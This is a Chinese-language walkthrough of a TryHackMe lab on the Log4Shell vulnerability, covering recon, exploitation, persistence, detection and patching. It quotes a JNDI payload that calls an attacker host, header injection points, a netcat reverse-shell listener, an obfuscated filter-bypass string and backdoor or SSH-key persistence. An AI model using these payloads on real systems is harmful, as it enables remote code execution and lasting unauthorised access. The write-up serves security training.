THM---Solar-exploiting-Log-4j

该房间基于利用臭名昭著的 Log4j 漏洞（CVE-2021-44228），也称为 Log4Shell。该弱点允许攻击者通过将恶意负载注入日志消息来执行远程代码。

任务 1 – CVE-2021-44228 介绍

在此任务中，我了解了 Apache Log4j 中的 Log4Shell 漏洞（CVE-2021-44228）。 • Log4j 是一个广泛使用的 Java 日志库。 • 该漏洞通过 JNDI 查找实现远程代码执行（RCE）。 • 攻击者可以注入如下负载： ${jndi:ldap://attacker.com/a} • 当日志记录时，服务器会联系攻击者控制的服务器并执行恶意代码。 👉 这展示了记录未经清理的用户输入有多么危险。

任务 2 – 侦察

在此，我开始与目标系统交互。 • 访问 Web 应用程序。 • 识别可能被记录的输入字段和请求头。 • 观察应用程序如何处理用户输入。 👉 目标：找到 Log4j 的使用位置以及可以注入负载的地方。

任务 3 – 发现

在这一步中，我确认了漏洞的存在。 • 在请求头中测试负载注入，例如： • User-Agent • X-Forwarded-For • 检查出站连接或响应。 👉 这有助于验证应用程序易受 Log4Shell 攻击。

任务 4 – 概念验证

我创建了一个有效的 PoC 来演示该漏洞。 • 设置监听器/服务器以检测回调。 • 注入 JNDI 负载。 • 观察到目标向我的服务器发起了请求。 👉 这确认了远程交互 → 漏洞可利用。

任务 5 – 漏洞利用

在此，我从 PoC 升级到完全利用。 • 托管恶意负载（Java 类或脚本）。 • 使用 JNDI 注入强制服务器加载它。 • 获得反弹 shell。 示例： nc -lvnp 4444 👉 成功实现远程代码执行。

任务 6 – 持久化

获得访问权限后，我确保了持续访问。 • 创建后门或添加 SSH 密钥。 • 根据需要修改系统配置。 👉 这确保即使重启或会话丢失后仍能保持访问。

任务 7 – 检测

此任务侧重于识别攻击。 • 了解 Log4j 漏洞在日志中的表现形式。 • 指标： • ${jndi:ldap://...} 模式 • 可疑的出站 LDAP/DNS 流量 👉 对蓝队检测利用尝试很重要。

任务 8 – 绕过

在此，我探索了攻击者如何绕过过滤器。 • 混淆技术： ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • 对负载进行编码以逃避检测。 👉 表明简单的过滤是不够的。

任务 9 – 缓解措施

学习了如何在不完全修补的情况下降低风险。 • 禁用 JNDI 查找 • 限制出站网络连接 • 使用 WAF 规则 👉 在正确修补之前的临时防御措施。

任务 10 – 修补

专注于永久修复。 • 将 Log4j 更新至： • 2.17.0 或更高版本 • 移除易受攻击的类： JndiLookup.class 👉 正确修补完全消除该漏洞。

任务 11 – 致谢与作者说明

• 感谢房间创建者。 • 学习目标总结。 • 关于 Log4Shell 影响的最终见解。

最终感想

这个房间让我全面理解了： • 一个关键的真实世界漏洞如何运作 • 攻击者如何逐步利用它 • 防御者如何检测和阻止它 👉 这是对网络安全史上最具影响力的漏洞之一的一次极好动手实践体验。